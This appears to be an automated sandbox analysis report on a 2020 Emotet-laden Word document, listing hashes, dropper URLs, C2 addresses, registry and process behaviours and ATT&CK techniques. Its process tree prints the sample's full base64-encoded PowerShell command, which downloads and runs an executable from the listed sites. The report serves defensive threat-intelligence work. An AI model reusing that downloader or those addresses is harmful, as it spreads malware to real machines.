emotet | 7cd5225c929ffc27c91ce7e9a9c9ae0cd7617d0d64835d513c84fedbae6ae31a

General

Target

emotet_e2_7cd5225c929ffc27c91ce7e9a9c9ae0cd7617d0d64835d513c84fedbae6ae31a_2020-07-28__184540._doc.doc
Size

171KB
MD5

b84387a2ed99725784801f90836417db
SHA1

b08ab3b540ad093398962c9d9ca39d1e109bcd5d
SHA256

7cd5225c929ffc27c91ce7e9a9c9ae0cd7617d0d64835d513c84fedbae6ae31a
SHA512

fc8d30abf9d48bc2b189093c349c832f3927e3398da5d29ae5c3668b5d07f1913e20c813df22a6b3f2d9298ded84129814743833c8f21a53954c129e2a5e71f5

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://bunchproperties.com/lyhvmiq/s_ia_4uaq/

exe.dropper

http://badeggdesign.com/cgi-bin/nxr5_o_d6vmj/

exe.dropper

http://calledtochange.org/calledtochange/0_76zqg_bwnxpr84/

exe.dropper

http://www.cinefamily.org/phpMyAdmin-4.7.9-all-languages/5um_oot_hz8/

exe.dropper

http://bodbderg.net/wp-admin/ogfv5_4_x2l/

Extracted

Family

emotet

C2

76.27.179.47:80

212.51.142.238:8080

189.212.199.126:443

61.19.246.238:443

162.154.38.103:80

91.211.88.52:7080

83.110.223.58:443

124.45.106.173:443

116.203.32.252:8080

109.117.53.230:443

5.196.74.210:8080

75.139.38.211:80

168.235.67.138:7080

176.111.60.55:8080

169.239.182.217:8080

74.208.45.104:8080

31.31.77.83:443

222.214.218.37:4143

37.139.21.175:8080

91.205.215.66:443

rsa_pubkey.plain

Signatures

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/4056-10-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/2336-13-0x0000000000540000-0x000000000054C000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

WINWORD.EXE853.exewlangpui.exe

pid	process
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
4056	853.exe
4056	853.exe
2336	wlangpui.exe
2336	wlangpui.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

512 WINWORD.EXE
512 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2608	1128	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 2608 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exewlangpui.exe

pid process

2608 powersheLL.exe
2608 powersheLL.exe
2608 powersheLL.exe
2336 wlangpui.exe
2336 wlangpui.exe
2336 wlangpui.exe
2336 wlangpui.exe
Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

15 2608 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

853.exewlangpui.exe

pid process

4056 853.exe
2336 wlangpui.exe

description	pid	process
Token: SeDebugPrivilege	2608	powersheLL.exe

pid	process
2608	powersheLL.exe
2608	powersheLL.exe
2608	powersheLL.exe
2336	wlangpui.exe
2336	wlangpui.exe
2336	wlangpui.exe
2336	wlangpui.exe

flow	pid	process
15	2608	powersheLL.exe

pid	process
4056	853.exe
2336	wlangpui.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

853.exe

description	pid	process	target process
PID 4056 wrote to memory of 2336	4056	853.exe	wlangpui.exe
PID 4056 wrote to memory of 2336	4056	853.exe	wlangpui.exe
PID 4056 wrote to memory of 2336	4056	853.exe	wlangpui.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

853.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\mswsock\wlangpui.exe 853.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\mswsock\wlangpui.exe	853.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_7cd5225c929ffc27c91ce7e9a9c9ae0cd7617d0d64835d513c84fedbae6ae31a_2020-07-28__184540._doc.doc" /o ""
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:512

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABVAEYAQgBJAEkAbABpAGkAPQAnAEcASABBAE8ARQBsAHoAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAGAAUgBpAGAAVABgAFkAUABSAG8AYABUAG8AQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFcARQBSAEwAcQBiAHoAIAA9ACAAJwA4ADUAMwAnADsAJABIAEcATgBQAEsAcwB1AG0APQAnAE0ASABYAFoAQwBkAGcAbAAnADsAJABOAFQAVwBYAFoAbgBqAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAVwBFAFIATABxAGIAegArACcALgBlAHgAZQAnADsAJABGAEsATABQAFIAbgBjAHAAPQAnAEUAUgBUAFMAWAB1AG8AcwAnADsAJABKAEQAVQBGAEIAdABjAHAAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBOAFQAOwAkAEUARgBCAFkASABoAG4AaQA9ACcAaAB0AHQAcAA6AC8ALwBiAHUAbgBjAGgAcAByAG8AcABlAHIAdABpAGUAcwAuAGMAbwBtAC8AbAB5AGgAdgBtAGkAcQAvAHMAXwBpAGEAXwA0AHUAYQBxAC8AKgBoAHQAdABwADoALwAvAGIAYQBkAGUAZwBnAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbgB4AHIANQBfAG8AXwBkADYAdgBtAGoALwAqAGgAdAB0AHAAOgAvAC8AYwBhAGwAbABlAGQAdABvAGMAaABhAG4AZwBlAC4AbwByAGcALwBjAGEAbABsAGUAZAB0AG8AYwBoAGEAbgBnAGUALwAwAF8ANwA2AHoAcQBnAF8AYgB3AG4AeABwAHIAOAA0AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AYwBpAG4AZQBmAGEAbQBpAGwAeQAuAG8AcgBnAC8AcABoAHAATQB5AEEAZABtAGkAbgAtADQALgA3AC4AOQAtAGEAbABsAC0AbABhAG4AZwB1AGEAZwBlAHMALwA1AHUAbQBfAG8AbwB0AF8AaAB6ADgALwAqAGgAdAB0AHAAOgAvAC8AYgBvAGQAYgBkAGUAcgBnAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBvAGcAZgB2ADUAXwA0AF8AeAAyAGwALwAnAC4AIgBzAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAUABRAFEATgB6AHAAdwA9ACcASgBIAFkASwBZAGEAZwBqACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAFQATgBCAEMAZgBiAHEAIABpAG4AIAAkAEUARgBCAFkASABoAG4AaQApAHsAdAByAHkAewAkAEoARABVAEYAQgB0AGMAcAAuACIAZABPAHcATgBgAEwAbwBgAEEAZABgAEYASQBsAEUAIgAoACQARABUAE4AQgBDAGYAYgBxACwAIAAkAE4AVABXAFgAWgBuAGoAeAApADsAJABDAFMAUABBAE0AdQBkAHEAPQAnAFoAVABLAEQATABrAGkAegAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAE4AVABXAFgAWgBuAGoAeAApAC4AIgBMAEUATgBgAGcAYABUAEgAIgAgAC0AZwBlACAAMwA2ADQANwA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBlAGEAYABUAEUAIgAoACQATgBUAFcAWABaAG4AagB4ACkAOwAkAFAAWABMAFoAVQB1AHQAaAA9ACcAVABUAFQATABOAGkAbQBhACcAOwBiAHIAZQBhAGsAOwAkAEcAQwBXAE0AVwBlAHEAYwA9ACcARwBXAE8AQwBZAGUAZgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAUwBVAEYAVABtAG0AeAA9ACcARwBJAFcAVQBZAGoAZAB0ACcA
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2608

C:\Users\Admin\853.exe
C:\Users\Admin\853.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:4056

C:\Windows\SysWOW64\mswsock\wlangpui.exe
"C:\Windows\SysWOW64\mswsock\wlangpui.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:2336

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\853.exe

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C:\Users\Admin\853.exe

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C:\Windows\SysWOW64\mswsock\wlangpui.exe

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memory/2336-11-0x0000000000000000-mapping.dmp

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memory/2336-13-0x0000000000540000-0x000000000054C000-memory.dmp

Filesize
48KB

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memory/4056-10-0x00000000005C0000-0x00000000005CC000-memory.dmp

Filesize
48KB

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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